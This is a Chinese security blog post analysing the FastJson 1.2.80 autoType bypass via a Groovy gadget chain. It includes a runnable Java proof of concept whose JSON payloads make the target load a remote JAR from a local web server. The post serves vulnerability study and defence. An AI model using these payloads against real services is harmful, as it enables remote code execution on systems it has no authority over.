扫码领资料
获黑客教程
免费&进群
漏洞环境
内容来自@浅蓝的HackingJson议题,本篇文章以理清漏洞思路为主,分为两部分来讲。以下是基于fastjson1.2.80
+ groovy
的简易环境。
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.80</version>
</dependency>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>3.0.13</version>
</dependency>
</dependencies>
执行demo
package org.example;
import com.alibaba.fastjson.JSON;
//1.2.76-1.2.80
public class FastJson_1280_groovy {
public static void main(String[] args) {
String payload_1 = "{n" +
" "@type":"java.lang.Exception",n" +
" "@type":"org.codehaus.groovy.control.CompilationFailedException",n" +
" "unit":{}n" +
"}";
String payload_2 = "{n" +
" "@type":"org.codehaus.groovy.control.ProcessingUnit",n" +
" "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit",n" +
" "config":{n" +
" "@type":"org.codehaus.groovy.control.CompilerConfiguration",n" +
" "classpathList":"http://127.0.0.1:81/attack-1.jar"n" +
" }n" +
"}";
System.out.println(payload_1);
System.out.println(payload_2);
try {
JSON.parseObject(payload_1);
} catch (Exception e) {
}
JSON.parseObject(payload_2);
}
}
0x01-添加新的反序列化器
从parseObject
开始追踪调用栈,经过简单的调用到获取反序列化器
当第一次传递的@type
为java.lang.Exception
时,clazz
获取到的是java.lang.Exception
的类实例。由于java.lang.Exception
继承自Throwable
,通过getDeserializer
函数拿到Throwable
的反序列化器ThrowableDeserializer
在拿到反序列化器ThrowableDeserializer
后,继而调用序列化器接口方法deserialze
对后续json字符串进行反序列化
每个JavaBeanDeserializer
(json反序列化器)的原理都大致相同。在ThrowableDeserializer#deserialze
方法内,会对新的@type
字段指向的类进行checkAutoType
校验:传递@type
字段作为其typename
参数、Throwable.class
作为其expectClass
参数
因为传递了期望类(在这里是Throwable.class
),在经过if (autoTypeSupport || jsonType || expectClassFlag)
时判断成立,利用TypeUtils.loadClass
获得org.codehaus.groovy.control.CompilationFailedException
类对象
紧接着在checkAutoType
#1199行判断当前的clazz
与expectClass
是否来自相同接口,若相同则将该clazz
添加至TypeUtils.mappings
中并将clazz
返回。由于我们传递的CompilationFailedException
继承自Exception
且都实现了Throwable
接口,这里就直接返回CompilationFailedException
类对象。
ThrowableDeserializer#deserialze
流程继续往下走,会获取一个叫做fieldInfo
的对象,此对象封装了@type
所指类对象中的成员参数信息,例如成员参数名、参数值、参数类对象信息等。在样例payload
中我们传递的是CompilationFailedException.unit
参数,类型为ProcessingUnit
,那么获取到的filedInfo
值如下图所示
接下来是重点,将类成员的类型(filedInfo.filedType
)、类成员的值、ParserConfig
对象丢入函数TypeUtils.cast
而在cast
函数内经过一系列链式调用到putDeserializer
方法。putDeserializer
会对传入的filedType
生成与之相应的JavaBeanDeserializer
,并通过Hashmap.put
方法将其加入到ParserConfig.deserializers
putDeserializer:1148, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:911, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:613, ParserConfig (com.alibaba.fastjson.parser)
castToJavaBean:1560, TypeUtils (com.alibaba.fastjson.util)
cast:1128, TypeUtils (com.alibaba.fastjson.util)
cast:1324, TypeUtils (com.alibaba.fastjson.util)
0x02-绕过autotype
上文0x01所讲的都是payload_1所发挥的作用,接下来看看payload_2是如何绕过了autotype
首先@type字段指向CompilationFailedException
的成员类型org.codehaus.groovy.control.ProcessingUnit
。由于在0x01@payload_1部分已经将ProcessingUnit
生成的反序列化器添加到ParserConfig
中,于是在#1115行能够获取到ProcessingUnit
类对象,
紧接着的反序列化流程与0x01如出一辙,利用ProcessingUnitJavaBeanDeserializer#deserialize
实现后续的json反序列化,并将ProcessingUnit
作为expectClass
使用。
凡继承自ProcessingUnit
的类都能被反序列化而绕过autotype
,例如我们使用的sink类JavaStubCompilationUnit
。在0x01@payload_1中我们使用的是Exception
作为json反序列化器与expectClass
。
以上和fastjson1.2.68的攻击思路也是相同的,68利用AutoCloseable
作为期望类,而1.2.68之后的版本将AutoCloseable
列为了黑名单。于笔者而言,此漏洞最重要的一点在于拓宽了利用链的寻找视野。
简单看下面的图片描述,我将0x01的操作称为trigger。从Exception
类出发,经过一次trigger就能将成员类型B添加进反序列化器(javabeanDeserializer),我们也可以理解为将B类作为期望类白名单,从而继承自B的类也能够无视autotype进行反序列化。第二次trigger流程也是如此,将C类中某成员类型D加入期望类白名单……因此,循环往复进行就能将成员类型B、D、F添加成为新的期望类白名单(类比效果,其实是加入到反序列化器中)
对于攻击者而言,只需要找到C类、D类、E类、F类中任意可用的字段作为sink点即可,如果这些类中的字段在setter、构造函数中有被恶意调用,则利用成功。在groovy
利用的exp中,CompilerConfiguration
的构造函数存在远程classpath
加载的漏洞
0x03-两个问题
问题-1
Q:为什么需要多个poc,其中一个parseObject写在try catch中,另一个正常写入?
A:第一个payload为了将恶意的Class引入为ExpectClass
,第二个payload是为了触发恶意Class中的构造方法、set/get方法等。具体原因在于,payload_1执行的过程中,在经过cast函数后获取到的value为null,而后在setValue
添加null值时会造成异常错误将本次parseObject
终止。
因此需要在第一次payload_1执行中捕获异常,payload_2触发sink类中的恶意利用
问题-2
Q:在webapp的场景下,发送两次payload会影响反序列化器的生命周期吗?
A:不会影响。fastJson在调用parseObject解析时,传递的ParserConfig对象为静态变量,反序列化器作为deserializers属性存储在ParserConfig中
原文地址:https://hpdoger.cn/2022/10/13/title: FastJson1.2.80漏洞浅析/
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
学习更多渗透技能!体验靶场实战练习
(hack视频资料及工具)
(部分展示)
往期推荐
看到这里了,点个“赞”、“再看”吧
原文始发于微信公众号(白帽子左一):FastJson1.2.80漏洞浅析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论